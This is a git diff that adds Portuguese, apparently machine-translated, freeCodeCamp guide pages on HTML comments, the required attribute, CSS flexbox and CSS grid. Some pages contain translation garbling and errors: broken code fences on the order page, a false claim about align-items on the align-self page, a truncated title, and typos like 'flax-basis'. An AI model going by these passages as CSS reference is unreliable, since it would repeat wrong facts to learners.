new file mode 100644
index 0000000000..2876da9896
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/uncomment-html/index.md
@@ -0,0 +1,39 @@
+---
+title: Uncomment HTML
+localeTitle: HTML sem comentário
+---
+## HTML sem comentário
+
+O tópico do comentário é muitas vezes um pouco confuso no início. Olhe para o exemplo:
+```
+<!-- This is a commented block. 
+ It doesn't matter how long it is, if it has <h1>HTML elements</h1> in it or if it develops 
+ into 
+ few lines, 
+ everything between the first weird series of character and the last is commented out --> 
+```
+
+Você pode usar o comentário na linha também: `<!-- Uh, I does not exists! -->` e aqui está!
+
+A única coisa a considerar é que quando você vê este conjunto de char `<!--` tudo de lá é comentado desde que você encontrou o specular `-->` ; Estas são as tags de abertura e fechamento de um elemento HTML!
+
+##### UNCOMMENT
+
+Uncomment significa tirar coisas do texto do comentário: para descomentar o elemento h3 da seguinte frase (que é tudo comentado):
+```
+<!-- <h1>Comment header</h1> <h3>Comment subtle</h3> <article>I am the text of the comment</article> --> 
+```
+
+é tão fácil quanto:
+```
+<!-- <h1>Comment header</h1> --> <h3>Comment subtle</h3> <!-- <article>I am the text of the comment</article> --> 
+```
+
+Observe como foi adicionada uma tag de comentário de fechamento ( `-->` ) antes do elemento HTML h3 para corresponder à tag de comentário de abertura no início da sentença e adicionou uma tag de comentário de abertura ( `<!--` ) para corresponder ao fechamento tag no final: desta forma você criou dois comentários inline, um antes do elemento h3 e um depois !.
+
+Se você quiser descomentar tudo, fica ainda mais fácil:
+```
+<h1>Comment header</h1> <h3>Comment subtle</h3> <article>I am the text of the comment</article> 
+```
+
+Basta remover a tag de abertura e fechamento do comentário.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/index.md
new file mode 100644
index 0000000000..002b5a948f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/basic-html-and-html5/use-html5-to-require-a-field/index.md
@@ -0,0 +1,15 @@
+---
+title: Use HTML5 to Require a Field
+localeTitle: Use HTML5 para exigir um campo
+---
+## Use HTML5 para exigir um campo
+
+O atributo `required` funciona com quase todos os tipos possíveis da tag de `input` (ele não funciona porque não faz sentido para os tipos de botões ou aqueles com um valor padrão, por exemplo, `type=range` ) e força o usuário a sair pelo menos uma marca mínima da interação com a entrada necessária ao enviar (selecione _pelo menos_ uma caixa de seleção, digite _pelo menos_ um caractere em uma caixa de texto, etc.)
+
+Seu uso bloqueia a submissão do formulário até que a condição `required` não seja preenchida.
+
+Você pode usar o atributo `required` com uma sintaxe específica: uma vez que é um valor booleano que você pode escrever apenas `required` sem qualquer valor.
+
+Neste desafio você já tem um formulário e um elemento de entrada: ele pede para você adicionar o atributo `required` ao elemento input; lembre-se de que, se algo do código original for modificado ou removido acidentalmente, você sempre poderá reiniciar com um código limpo usando o botão " `reset all code` ".
+
+Boa sorte!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md
new file mode 100644
index 0000000000..4aca20d261
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md
@@ -0,0 +1,35 @@
+---
+title: Add Flex Superpowers to the Tweet Embed
+localeTitle: Adicione Superpotências Flex ao Tweet Incorporado
+---
+## Adicione Superpotências Flex ao Tweet Incorporado
+
+Com base no [desafio anterior](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md) , você precisará adicionar a propriedade aos seletores certos. Aqui o truque é identificar o seletor certo, então tudo o que você precisa para adicionar o _display: flex;_ propriedade.
+
+O cabeçalho garantirá que os botões de imagem, nome, manuseio e acompanhamento sejam reposicionados horizontalmente.
+
+```CSS
+header { 
+    display: flex; 
+ } 
+```
+
+Alinha o nome e o identificador para parecer uma frase.
+
+```CSS
+header .profile-name { 
+    display:flex; 
+    margin-left: 10px; 
+  } 
+```
+
+Adicionar a propriedade ao botão seguir junto com a margem centralizará o botão no tamanho correto.
+
+```CSS
+header .follow-btn { 
+    display:flex; 
+    margin: 0 0 0 auto; 
+  } 
+```
+
+A mesma ideia é usada nos elementos de rodapé.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md
new file mode 100644
index 0000000000..87b47f2035
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Align Elements Using the align-items Property
+localeTitle: Alinhar elementos usando a propriedade de itens de alinhamento
+---
+## Alinhar elementos usando a propriedade de itens de alinhamento
+
+Embora seja encorajador tentar as diferentes opções para `align-items` , a configuração é o valor para o `center` é a única maneira de passar esse desafio.
+
+Ao jogar com as diferentes opções, você perceberá que `strech` é o valor padrão da propriedade.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md
new file mode 100644
index 0000000000..bc8e432a8b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md
@@ -0,0 +1,13 @@
+---
+title: Align Elements Using the justify-content Property
+localeTitle: Alinhar elementos usando a propriedade justify-content
+---
+## Alinhar elementos usando a propriedade justify-content
+
+Como afirmado no desafio, para passá-lo, você precisa definir o `justify-content` para o centro. No entanto, o ponto do desafio é experimentar e ver como as diferentes opções afetam o conteúdo.
+
+`center` : garantirá que seus elementos filhos estejam centralizados no contêiner pai.  
+`flex-start` : Vai empurrar tudo para o lado esquerdo.  
+`flex-end` : Vai empurrar tudo para o lado direito.  
+`space-between` : Irá empurrar o primeiro e o último elementos para a esquerda e para a direita de forma a respeitar e a adicionar um espaço entre eles. Se você tiver números ímpares de elementos, ele os adicionará ao centro e continuará empurrando para a esquerda e para a direita, dependendo da ordem.  
+`space-around` : Será semelhante ao espaço, mas haverá espaçamento igual ao redor dos elementos, portanto, o primeiro e o último não estarão diretamente na borda.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..e7ff98074a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md
@@ -0,0 +1,16 @@
+---
+title: Apply the flex-direction Property to Create a Column in the Tweet Embed
+localeTitle: Aplicar a propriedade flex-direction para criar uma coluna no Tweet Embed
+---
+## Aplicar a propriedade flex-direction para criar uma coluna no Tweet Embed
+
+Alterar a direção flexível de seu padrão de linha para coluna explicitamente adicionando a propriedade ao css fará com que o identificador seja mostrado abaixo do nome.
+
+```css
+header .profile-name { 
+    display: flex; 
+    flex-direction: column; 
+    margin-left: 10px; 
+  } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..1d02e8cd47
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md
@@ -0,0 +1,7 @@
+---
+title: Apply the flex-direction Property to Create Rows in the Tweet Embed
+localeTitle: Aplicar a propriedade flex-direction para criar linhas no Tweet Incorporar
+---
+## Aplicar a propriedade flex-direction para criar linhas no Tweet Incorporar
+
+O objetivo desse desafio é garantir que os elementos filho do _cabeçalho_ e do _rodapé_ estejam alinhados em uma linha. Enquanto a direção de flexão padrão é uma linha. É melhor ser explícito quanto ao seu estilo, tanto quanto possível.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/index.md
new file mode 100644
index 0000000000..056927dd13
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/index.md
@@ -0,0 +1,25 @@
+---
+title: CSS Flexbox
+localeTitle: Flexbox CSS
+---
+## Flexbox CSS
+
+Esse conjunto de desafios ensinará os fundamentos do uso de contêineres flexíveis. Os desafios são:
+
+1.  [Use display: flexionar para posicionar duas caixas](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md) .
+2.  [Adicione Flex Superpowers ao Tweet Embed](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md) .
+3.  [Use a propriedade flex-direction para criar uma linha](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md) .
+4.  [Aplique a propriedade flex-direction para criar linhas no Tweet Embed](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-rows-in-the-tweet-embed/index.md) .
+5.  [Use a propriedade flex-direction para criar uma coluna](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md) .
+6.  [Aplique a propriedade flex-direction para criar uma coluna no Tweet Embed](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/apply-the-flex-direction-property-to-create-a-column-in-the-tweet-embed/index.md) .
+7.  [Alinhar elementos usando a propriedade justify-content](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/align-elements-using-the-justify-content-property/index.md) .
+8.  [Use a propriedade justify-content no Tweet Embed](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md) .
+9.  [Alinhar elementos usando a propriedade de itens de alinhamento](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md) .
+10.  [Use a propriedade de itens de alinhamento no Tweet Incorporar](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md) .
+11.  [Use a propriedade flex-wrap para agrupar uma linha ou coluna](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md) .
+12.  [Use a propriedade flex-shrink para reduzir itens](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md) .
+13.  [Use a propriedade flex-grow para expandir itens](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md) .
+14.  [Use a propriedade de base flexível para definir o tamanho inicial de um item](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md) .
+15.  [Use a propriedade flexível de taquigrafia](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md) .
+16.  [Use a propriedade Ordem para reorganizar itens](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md) .
+17.  [Use a propriedade auto-alinhamento](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/use-the-align-self-property/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md
new file mode 100644
index 0000000000..e23a55f52e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-display-flex-to-position-two-boxes/index.md
@@ -0,0 +1,18 @@
+---
+title: "Use display: flex to Position Two Boxes"
+localeTitle: "Use display
+---
+## Use display: flex para posicionar duas caixas
+
+[O Flexbox](https://github.com/freecodecamp/guides/tree/master/src/pages/css/layout/flexbox/index.md) é uma maneira de estruturar conteúdo em CSS3 que permite criar sites responses.
+
+Este desafio é definir o primeiro de três etapas ao usar o Flexbox. Você precisa tornar o contêiner pai um flexível, adicionando _display: flex;_ à sua seção CSS.
+
+Exemplo:
+
+```CSS
+#main-container { 
+    display: flex; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..7651b7bff4
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-align-items-property-in-the-tweet-embed/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the align-items Property in the Tweet Embed
+localeTitle: Use a propriedade de itens de alinhamento no Tweet Incorporar
+---
+## Use a propriedade de itens de alinhamento no Tweet Incorporar
+
+Semelhante ao [desafio anterior](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-flexbox/align-elements-using-the-align-items-property/index.md) , você precisará definir o valor da propriedade para `center` no seletor direito.
+
+Note que pode parecer que nada foi mudado, mas mais uma vez, quanto mais explícito estiver o seu estilo no início, menos efeitos colaterais você verá quando o CSS ficar mais complexo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-align-self-property/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-align-self-property/index.md
new file mode 100644
index 0000000000..c0d6143de7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-align-self-property/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the align-self Property
+localeTitle: Use a propriedade align-self
+---
+## Use a propriedade align-self
+
+O principal objetivo deste desafio deve ser o fato de que o `vertical-align` `float` , `clear` e `vertical-align` não funciona em itens flexíveis. É por isso que temos o `align-self` propriedade flex que aceita os mesmos valores que `align-items` e terá precedência sobre quaisquer valores definidos pelo último.
+
+Isso significa `align-self: center;` funcionaria enquanto `align-items: center;` não faria.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md
new file mode 100644
index 0000000000..b85f226069
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-basis-property-to-set-the-initial-size-of-an-item/index.md
@@ -0,0 +1,22 @@
+---
+title: Use the flex-basis Property to Set the Initial Size of an Item
+localeTitle: Use a propriedade de base flexível para definir o tamanho inicial de um item
+---
+## Use a propriedade de base flexível para definir o tamanho inicial de um item
+
+Você pode conseguir o mesmo efeito que os dois desafios anteriores com `flax-basis` . Depois de definir os valores apropriados, você verá `#box-2` sendo maior que `#box-1` antes que qualquer redução ou crescimento seja aplicado.
+
+```css
+#box-1 { 
+  background-color: dodgerblue; 
+  height: 200px; 
+  flex-basis: 10em; 
+ } 
+ 
+ #box-2 { 
+  background-color: orangered; 
+  height: 200px; 
+  flex-basis: 20em; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md
new file mode 100644
index 0000000000..001c584331
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-column/index.md
@@ -0,0 +1,15 @@
+---
+title: Use the flex-direction Property to Make a Column
+localeTitle: Use a propriedade flex-direction para criar uma coluna
+---
+## Use a propriedade flex-direction para criar uma coluna
+
+Para empilhar os elementos filhos do seu contêiner flexível um sobre o outro, você mudaria a _direção flexionada_ da seguinte maneira:
+
+```CSS
+#main-container { 
+    display: flex; 
+    flex-direction: column; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md
new file mode 100644
index 0000000000..6a6a65c34d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-direction-property-to-make-a-row/index.md
@@ -0,0 +1,17 @@
+---
+title: Use the flex-direction Property to Make a Row
+localeTitle: Use a propriedade flex-direction para criar uma linha
+---
+## Use a propriedade flex-direction para criar uma linha
+
+Depois de ter um contêiner flexível, adicione a _exibição: flex;_ para o contêiner pai, você pode especificar se deseja que os filhos sejam empilhados em uma linha, adicionando o seguinte:
+
+```css
+#box-container { 
+    display: flex; /* This makes the flex container */ 
+    height: 500px; 
+    flex-direction: row-reverse; /* This makes the direction be a row with reversed elements */ 
+  } 
+```
+
+Você notará como as cores trocam de posição como a direção padrão dos contêineres flexíveis são linhas, como você deve ter notado no [exemplo](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md) do [tweet](https://github.com/freecodecamp/guides/tree/master/src/pages/responsive-web-design/css-flexbox/add-flex-superpowers-to-the-tweet-embed/index.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md
new file mode 100644
index 0000000000..bb2901bd15
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-grow-property-to-expand-items/index.md
@@ -0,0 +1,7 @@
+---
+title: Use the flex-grow Property to Expand Items
+localeTitle: Use a propriedade flex-grow para expandir itens
+---
+## Use a propriedade flex-grow para expandir itens
+
+`flex-grow` funciona de forma semelhante ao `flex-shrink` , quanto maior o número, mais ele cresce. A `#box-2` deve ser mais larga neste exercício.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md
new file mode 100644
index 0000000000..39d0fd5579
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-shorthand-property/index.md
@@ -0,0 +1,18 @@
+---
+title: Use the flex Shorthand Property
+localeTitle: Use a propriedade flexível de taquigrafia
+---
+## Use a propriedade flexível de taquigrafia
+
+Enquanto você pode definir propriedades `flex-grow` , `flex-shrink` e `flex-basis` individualmente. Se você precisar ver os valores para todos eles, você pode fazê-lo em uma linha usando o seguinte formato `flex: flex-grow flex-shrink flex-basis;` .
+
+Exemplo:
+
+```css
+#box-1 { 
+    background-color: dodgerblue; 
+    flex: 2 2 150px; 
+    height: 200px; 
+  } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md
new file mode 100644
index 0000000000..2fb753817e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-shrink-property-to-shrink-items/index.md
@@ -0,0 +1,7 @@
+---
+title: Use the flex-shrink Property to Shrink Items
+localeTitle: Use a propriedade flex-shrink para reduzir os itens
+---
+## Use a propriedade flex-shrink para reduzir os itens
+
+Ao usar `flex-shrink` quanto maior o número, mais ele encolhe. Para este desafio, depois de dar os valores apropriados, você deve ver o `#box-1` sendo mais largo que o `#box-2` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md
new file mode 100644
index 0000000000..ea014e2563
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-flex-wrap-property-to-wrap-a-row-or-column/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the flex-wrap Property to Wrap a Row or Column
+localeTitle: Use a propriedade flex-wrap para agrupar uma linha ou coluna
+---
+## Use a propriedade flex-wrap para agrupar uma linha ou coluna
+
+Definir a propriedade de `wrap` `flex-wrap` para `wrap` fará com que as colunas retornem à largura especificada e as colunas gree e preta sejam colocadas no início do quadro.
+
+Observe que configurá-lo para `wrap-reverse` não fará com que o espaço vazio cinza do `#box-container` fique na parte inferior enquanto altera a ordem das colunas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md
new file mode 100644
index 0000000000..b1143f578a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-justify-content-property-in-the-tweet-embed/index.md
@@ -0,0 +1,14 @@
+---
+title: Use the justify-content Property in the Tweet Embed
+localeTitle: Use a propriedade justify-content no Tweet Incorporar
+---
+## Use a propriedade justify-content no Tweet Incorporar
+
+Os diferentes valores para `justify-content` do desafio anterior são:
+
+*   `flex-start` alinha os itens ao início do contêiner flexível.
+*   `flex-end` alinha os itens até o final do contêiner flexível.
+*   `space-between` itens alinha o centro do eixo principal, com espaço extra colocado entre os itens.
+*   `space-around` semelhante ao `space-between` mas o espaço é distribuído em torno de todos os itens.
+
+Leia [mais sobre `justify-content`](https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md
new file mode 100644
index 0000000000..0eac7c182d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-flexbox/use-the-order-property-to-rearrange-items/index.md
@@ -0,0 +1,19 @@
+---
+title: Use the order Property to Rearrange Items
+localeTitle: Use a propriedade Ordem para reorganizar itens
+---
+## Use a propriedade Ordem para reorganizar itens
+
+Antes de fazer qualquer alteração, preste atenção na ordem das cores. Você fica azul à esquerda e vermelho eh certo. Depois de definir a propriedade do `order` , você será capaz de escolher qual deles deve ser exibido primeiro sem ter que alterar o código html.
+
+\`\` \`css
+
+# box-1 {
+```
+background-color: dodgerblue; 
+ order: 2; 
+ height: 200px; 
+ width: 200px; 
+```
+
+} \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/add-columns-with-grid-template-columns/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/add-columns-with-grid-template-columns/index.md
new file mode 100644
index 0000000000..a3b674eb54
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/add-columns-with-grid-template-columns/index.md
@@ -0,0 +1,26 @@
+---
+title: Add Columns with grid-template-columns
+localeTitle: Adicionar colunas com colunas de modelo de grade
+---
+## Adicionar colunas com colunas de modelo de grade
+
+Neste desafio, você precisa definir colunas para a grade.
+
+### Sugestão
+
+Você pode definir colunas declarando o seguinte no seu codeblock CSS:
+
+```css
+grid-template-columns: parameters; 
+```
+
+onde parâmetros é o que você quer que seja.
+
+### Solução
+
+Como o desafio requer que você crie três colunas de 100px cada, declare o seguinte no seu codeblock CSS do container:
+
+```css
+grid-template-columns: 100px 100px 100px; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md
new file mode 100644
index 0000000000..1ded39e788
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md
@@ -0,0 +1,9 @@
+---
+title: Add Gaps Faster with grid-gap
+localeTitle: Adicionar intervalos mais rápidos com lacuna de grade
+---
+## Adicionar intervalos mais rápidos com lacuna de grade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/add-gaps-faster-with-grid-gap/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/add-rows-with-grid-template-rows/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/add-rows-with-grid-template-rows/index.md
new file mode 100644
index 0000000000..2eb441afbc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/add-rows-with-grid-template-rows/index.md
@@ -0,0 +1,20 @@
+---
+title: Add Rows with grid-template-rows
+localeTitle: Adicionar linhas com linhas de modelo de grade
+---
+## Adicionar linhas com linhas de modelo de grade
+
+Neste desafio, você precisa definir linhas para a grade CSS em `<div class="container">` .
+
+### Sugestão
+
+Você pode definir linhas usando a propriedade CSS `grid-template-rows` .
+
+### Solução
+
+Como o desafio requer que você crie duas linhas de `50px` cada, declare o seguinte em seu bloco de código CSS `.container` :
+
+```css
+grid-template-rows: 50px 50px; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md
new file mode 100644
index 0000000000..8f11db8c8c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md
@@ -0,0 +1,9 @@
+---
+title: Align All Items Horizontally using justify-items
+localeTitle: Alinhar todos os itens horizontalmente usando justificar itens
+---
+## Alinhar todos os itens horizontalmente usando justificar itens
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-all-items-horizontally-using-justify-items/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md
new file mode 100644
index 0000000000..a34afab8da
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md
@@ -0,0 +1,9 @@
+---
+title: Align All Items Vertically using align-items
+localeTitle: Alinhar todos os itens verticalmente usando itens de alinhamento
+---
+## Alinhar todos os itens verticalmente usando itens de alinhamento
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-all-items-vertically-using-align-items/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md
new file mode 100644
index 0000000000..61ff5b55a9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md
@@ -0,0 +1,9 @@
+---
+title: Align an Item Horizontally using justify-self
+localeTitle: Alinhar um item horizontalmente usando justify-self
+---
+## Alinhar um item horizontalmente usando justify-self
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/responsive-web-design/css-grid/align-an-item-horizontally-using-justify-self/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md b/client/src/guide/portuguese/certifications/responsive-web-design/css-grid/align-an-item-vertically-using-align-self/index.md
new file mode 100644
index 0000000000..2c0b48b31e
--- /dev/null
